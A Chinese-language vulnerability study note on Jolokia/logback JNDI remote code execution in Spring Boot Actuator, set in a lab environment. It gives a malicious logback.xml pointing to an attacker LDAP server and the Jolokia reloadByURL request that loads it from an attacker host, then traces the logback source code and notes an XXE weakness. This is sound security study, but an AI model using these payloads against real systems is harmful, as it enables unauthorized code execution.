前言:jolokia logback JNDI RCE 漏洞學習筆記
在實戰中碰到的幾率還是有的,不過有時候不存在相關可利用的依賴,有時候不存在相關可利用的MBean,總是會覺得可惜...
這里不講述相關的jolokia的MBean使用方法,如果需要的話可以去學習下
參考文章:https://jolokia.org/reference/html/protocol.html#request-example
環境搭建與漏洞利用
漏洞環境參考:https://github.com/LandGrey/SpringBootVulExploit
打開相關的jolokia logback工程,然后配置下啟動類即可,如下圖所示
接着訪問 http://localhost:9094/actuator/jolokia/list ,搜索MBean "logback"
啟用相關的存在PAYLOAD的LDAP服務
logback.xml內容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.0.108:1389/exo5gx" as="appName" />
</configuration>
進行JNDI注入,訪問如下地址
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml
命令執行成功,如下圖所示
漏洞分析
這里通過相關工具來進行解析,格式化尋找相關MBean
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByFileName/$java.lang.String
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadDefaultConfiguration
[+] DESC : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerLevel/$java.lang.String
[+] DESC : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerEffectiveLevel/$java.lang.String
[+] DESC : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/setLoggerLevel/$java.lang.String/$java.lang.String
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/Statuses
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/LoggerLis
大家提供的利用方法都是通過http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
的方法來進行的
這里可以過來看下相關實現代碼,直接來看ch.qos.logback.classic.jmx.JMXConfigurator中的reloadByURL方法
public void reloadByURL(URL url) throws JoranException {
StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
// after a reset the statusListenerAsList gets removed as a listener
addStatusListener(statusListenerAsList);
try {
if (url != null) {
JoranConfigurator configurator = new JoranConfigurator();
configurator.setContext(loggerContext);
configurator.doConfigure(url);
addInfo("Context: " + loggerContext.getName() + " reloaded.");
}
} finally {
removeStatusListener(statusListenerAsList);
if (debug) {
StatusPrinter.print(statusListenerAsList.getStatusList());
}
}
}
這個方法自己大概跟過后就會了解,就是通過外部提供的URL來進行加載相關logback.xml的配置文件
這里可以跟到configurator.doConfigure(url);
中進行觀察,這里的話就是准備好URL,然后獲取請求好回來的內容,也就是 攻擊者服務器上的logback.xml的內容流
繼續跟進doConfigure(in, url.toExternalForm());
,可以看到的就是對這個logback.xml內容流進行解析
如何解析的?繼續跟到recorder.recordEvents(inputSource);
來觀察,可以看到典型的XML組件解析操作,並且沒有相關的XXE注入攔截,所以這里同時也存在XXE漏洞
recorder.recordEvents(inputSource);
解析完之后會存在一個,其中就存在一個對攻擊者服務器請求的logback.xml的內容結構
其中可以看到一個標簽<insertFromJNDI>
,通過了解logback的官方文檔,logback如果讀取到該標簽,就會對標簽進行實例化一個InsertFromJNDIAction對象,調用該對象的begin方法,該begin方法會生成上下文進行目標請求
跟到doConfigure(recorder.saxEventList);
就會知道它是如何進行請求的
繼續跟到play方法中,可以發現對整體的xml內容結構進行遍歷解析
最后讀到那段JNDI地址的標簽的時候,它最后就會通過實例化一個上下文對象,然后請求這個地址,最終觸發了JNDI注入